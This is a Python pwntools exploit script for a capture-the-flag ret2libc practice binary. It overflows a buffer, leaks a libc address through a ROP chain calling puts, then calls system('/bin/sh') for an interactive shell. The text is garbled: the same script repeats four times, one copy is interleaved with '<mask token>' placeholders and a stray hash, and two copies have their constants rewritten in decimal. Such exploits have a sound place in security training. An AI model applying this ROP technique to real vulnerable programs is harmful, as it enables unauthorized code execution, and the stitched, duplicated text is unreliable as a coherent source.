#!/usr/bin/python3

from pwn import *

l = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') #load in the lib

y = process('/home/cuteleo/workspace/pwn/ntu_ctf_demo/basic/ret2libc/ret2libc')

bss = 0x6b6000
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
ret = 0x400506

gets_plt = 0x400530
puts_plt = 0x400520

libc_start_main_got = 0x600ff0

main = 0x400698

p = flat(
        'a' * 0x38,
        pop_rdi,
        libc_start_main_got,
        puts_plt,
        main
)

y.sendlineafter(':D',p)

y.recvline()
l.address = u64( y.recv(6) + '\0\0' ) - 0x21ab0
success( 'libc -> %s' , hex( l.address ))

p = flat(
        'a' * 0x38,
        ret,
        pop_rdi,
        l.search( '/bin/sh' ).next(),
        l.sym.system
)

y.sendlineafter(':D',p)

y.interactive()

635afcc89a3c4f69947bee46fffe815aec38293b
<mask token>

<mask token>
y.sendlineafter(':D', p)
y.recvline()
<mask token>
success('libc -> %s', hex(l.address))
<mask token>
y.sendlineafter(':D', p)
y.interactive()

<mask token>
l = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
y = process('/home/cuteleo/workspace/pwn/ntu_ctf_demo/basic/ret2libc/ret2libc')
bss = 7036928
pop_rdi = 4196147
pop_rsi_r15 = 4196145
ret = 4195590
gets_plt = 4195632
puts_plt = 4195616
libc_start_main_got = 6295536
main = 4195992
p = flat('a' * 56, pop_rdi, libc_start_main_got, puts_plt, main)
y.sendlineafter(':D', p)
y.recvline()
l.address = u64(y.recv(6) + '\x00\x00') - 137904
success('libc -> %s', hex(l.address))
p = flat('a' * 56, ret, pop_rdi, l.search('/bin/sh').next(), l.sym.system)
y.sendlineafter(':D', p)
y.interactive()

from pwn import *
l = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
y = process('/home/cuteleo/workspace/pwn/ntu_ctf_demo/basic/ret2libc/ret2libc')
bss = 7036928
pop_rdi = 4196147
pop_rsi_r15 = 4196145
ret = 4195590
gets_plt = 4195632
puts_plt = 4195616
libc_start_main_got = 6295536
main = 4195992
p = flat('a' * 56, pop_rdi, libc_start_main_got, puts_plt, main)
y.sendlineafter(':D', p)
y.recvline()
l.address = u64(y.recv(6) + '\x00\x00') - 137904
success('libc -> %s', hex(l.address))
p = flat('a' * 56, ret, pop_rdi, l.search('/bin/sh').next(), l.sym.system)
y.sendlineafter(':D', p)
y.interactive()

#!/usr/bin/python3

from pwn import *

l = ELF('/lib/x86_64-linux-gnu/libc-2.27.so') #load in the lib

y = process('/home/cuteleo/workspace/pwn/ntu_ctf_demo/basic/ret2libc/ret2libc')

bss = 0x6b6000
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
ret = 0x400506

gets_plt = 0x400530
puts_plt = 0x400520

libc_start_main_got = 0x600ff0

main = 0x400698

p = flat(
        'a' * 0x38,
        pop_rdi,
        libc_start_main_got,
        puts_plt,
        main
)

y.sendlineafter(':D',p)

y.recvline()
l.address = u64( y.recv(6) + '\0\0' ) - 0x21ab0
success( 'libc -> %s' , hex( l.address ))

p = flat(
        'a' * 0x38,
        ret,
        pop_rdi,
        l.search( '/bin/sh' ).next(),
        l.sym.system
)

y.sendlineafter(':D',p)

y.interactive()
